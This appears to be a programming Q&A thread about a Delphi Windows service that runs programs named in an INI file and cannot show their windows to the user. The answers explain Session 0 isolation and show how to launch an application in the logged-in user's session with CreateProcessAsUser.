procedure ServiceStart(Sender: TService; var Started: Boolean);
private
{ Private declarations }
public
function GetServiceController: TServiceController; override;
{ Public declarations }
procedure run_procedure;
procedure log(text_file, atext : string );
procedure loginfo(text : string);
function CheckUrl(url: string): boolean;
procedure execCMD(CommandLine, Work: string);
function DoDownload(FromUrl, ToFile: String): boolean;
end;
var
Service1: TService1;
iTime : integer;
limit_time : integer = 2;
myini : TiniFile;
default_exe_path : string = '';
default_log_path : string = '';
appdir : String = '';
implementation
{$R *.DFM}
uses ping;
function TService1.CheckUrl(url: string): boolean;
var
hSession, hfile, hRequest: hInternet;
dwindex,dwcodelen :dword;
dwcode:array[1..20] of char;
res : pchar;
begin
if pos('http://',lowercase(url))=0 then
url := 'http://'+url;
Result := false;
hSession := InternetOpen('InetURL:/1.0',
INTERNET_OPEN_TYPE_PRECONFIG,nil, nil, 0);
if assigned(hsession) then
begin
hfile := InternetOpenUrl(
hsession,
pchar(url),
nil,
0,
INTERNET_FLAG_RELOAD,
0);
dwIndex := 0;
dwCodeLen := 10;
HttpQueryInfo(hfile, HTTP_QUERY_STATUS_CODE,
#dwcode, dwcodeLen, dwIndex);
res := pchar(#dwcode);
result:= (res ='200') or (res ='302');
if assigned(hfile) then
InternetCloseHandle(hfile);
InternetCloseHandle(hsession);
end;
end;
procedure ServiceController(CtrlCode: DWord); stdcall;
begin
Service1.Controller(CtrlCode);
end;
function TService1.GetServiceController: TServiceController;
begin
Result := ServiceController;
end;
procedure TService1.Timer1Timer(Sender: TObject);
begin
iTime:=iTime+1;
if iTime=15 then // (limit_time*60) then
begin
itime:=1;
run_procedure;
end;
// loginfo('Defaultlog : '+default_log_path+'; exe : '+default_exe_path);
end;
procedure TService1.ServiceExecute(Sender: TService);
begin
Timer1.Enabled := True;
while not Terminated do
ServiceThread.ProcessRequests(True);
Timer1.Enabled := False;
end;
procedure TService1.run_procedure;
var
i : integer;
sUrl, sLogFile, sAction, sAct_param : String;
begin
for i:=0 to 20 do
begin
sLogFile:=default_log_path+myini.ReadString('logs', 'log_file'+intTostr(i), '');
if fileexists(slogfile) then
begin
loginfo(slogfile+' tersedia');
sAction:=myini.ReadString('logs', 'action'+intTostr(i), '');
if ((trim(sAction)<>'') and (fileexists(default_exe_path+sAction))) then
begin
// this line is don't work in servcie
ShellExecute(Application.Handle, 'open', 'c:\Windows\notepad.exe', nil, nil, SW_SHOWNORMAL);
sAct_param:=myini.ReadString('logs', 'action_prm'+intTostr(i), '');
// this line is don't work in servcie
execCMD(sAction+' '+sAct_param, default_exe_path);
loginfo(sAction+' '+sAct_param+' defpath : '+default_exe_path);
// this loginfo works
end;
end else
begin
end;
end;
end;
procedure TService1.log(text_file, atext: string);
var
logFile : TextFile;
begin
AssignFile(LogFile, text_file);
if FileExists(text_file) then
Append(LogFile) else rewrite(LogFile);
WriteLn(logFile, aText);
CloseFile(LogFile);
end;
procedure TService1.loginfo(text: string);
begin
log(ChangeFileExt(application.exename, '.log'), formatdateTime('dd-mm-yyyy hh:nn:ss ', now)+
text);
end;
procedure TService1.ServiceStop(Sender: TService; var Stopped: Boolean);
begin
myini.Free;
end;
procedure TService1.execCMD(CommandLine, Work: string);
var
SA: TSecurityAttributes;
SI: TStartupInfo;
PI: TProcessInformation;
StdOutPipeRead, StdOutPipeWrite: THandle;
WorkDir: string;
begin
with SA do begin
nLength := SizeOf(SA);
bInheritHandle := True;
lpSecurityDescriptor := nil;
end;
CreatePipe(StdOutPipeRead, StdOutPipeWrite, #SA, 0);
try
with SI do
begin
FillChar(SI, SizeOf(SI), 0);
cb := SizeOf(SI);
dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
wShowWindow := SW_HIDE;
hStdInput := GetStdHandle(STD_INPUT_HANDLE); // don't redirect stdin
hStdOutput := StdOutPipeWrite;
hStdError := StdOutPipeWrite;
end;
WorkDir := Work;
CreateProcess(nil, PChar('cmd.exe /C ' + CommandLine),
nil, nil, True, 0, nil,
PChar(WorkDir), SI, PI);
CloseHandle(StdOutPipeWrite);
finally
CloseHandle(StdOutPipeRead);
end;
end;
procedure TService1.ServiceStart(Sender: TService; var Started: Boolean);
begin
appdir:=ExtractFileDir(Application.ExeName);
myini:=TiniFile.Create(ExtractFileDir(application.ExeName)+'\setting.ini');
limit_time:=myini.ReadInteger('setting', 'limit_time', 0);
default_exe_path:=myini.ReadString('setting', 'default_exe_path','');
if trim(default_exe_path)='' then default_exe_path:=appdir+'\';
default_log_path:=myini.ReadString('setting', 'default_log_path','');
if trim(default_log_path)='' then default_log_path:=appdir+'\logs\';
end;
function TService1.DoDownload(FromUrl, ToFile: String): boolean;
begin
{ with TDownloadURL.Create(self) do
try
URL:=FromUrl;
FileName := ToFile;
ExecuteTarget(nil) ;
finally
Free;
end; }
end;
end.
Please see run_procedure code line;
Put simply: how can I call another application from my service?
ShellExecute/Ex() and CreateProcess() run the specified file/app in the same session as the calling process. A service always runs in session 0.
In XP and earlier, the first user to log in also runs in session 0, so a service can run an interactive process and have it viewable to that interactive user, but only if the service is marked as interactive (the TService.Interactive property is true). If multiple users are logged in, they run in session 1+, and thus cannot see interactive processes run by services.
Windows Vista introduced a new feature called "Session 0 Isolation". Interactive users no longer run in session 0 at all, they always run in session 1+ instead, and session 0 is not interactive at all (the TService.Interactive property no longer has any effect). However, to help with migration of legacy services, if a service runs an interactive process that tries to display a GUI on session 0, Windows prompts the current logged in user, if any, to switch to a separate desktop that temporarily makes the GUI viewable. In Windows 7 onwards, that legacy support is now gone.
In all versions on Windows from 2000 onwards, the correct way to run an interactive process from a service and have it be viewable to an interactive user is to use CreateProcessAsUser() to run the new process in the specified user's session and desktop. There are plenty of detailed examples available on MSDN, StackOverflow, and throughout the Web, so I'm not going to reiterate them here.
Services run in a different session from the interactive user. Services run in session 0. Session 0 processes do not have access to the interactive desktop. Which means that any attempt to show an interactive process in session 0 is doomed to fail. You are attempting to create a Notepad process which is interactive.
There are ways to launch a process on an interactive desktop from a session: Launching an interactive process from Windows Service in Windows Vista and later. As you will understand after reading that article, what you are attempting to do is non-trivial.
This solution is intended to be used from within a service, I thought I'd paste this code here as it was how I got my service to run an application as the currently logged in user.
function WTSQueryUserToken(SessionId: ULONG; var phToken: THandle): BOOL; stdcall; external 'Wtsapi32.dll';
procedure runApp(appName: String);
var
hToken: THandle;
StartupInfo: TStartupInfo;
ProcessInfo: TProcessInformation;
res: boolean;
begin
GetStartupInfo(StartupInfo);
if WTSQueryUserToken(WtsGetActiveConsoleSessionID, hToken) then
begin
res := CreateProcessAsUser(hToken, PWideChar(appName), nil, nil, nil, False, CREATE_NEW_CONSOLE, nil, nil, StartupInfo, ProcessInfo);
if res then
WaitForSingleObject(ProcessInfo.hProcess,INFINITE);
end;
end;
//Anywhere in your service or app
RunApp ('notepad.exe');

Resources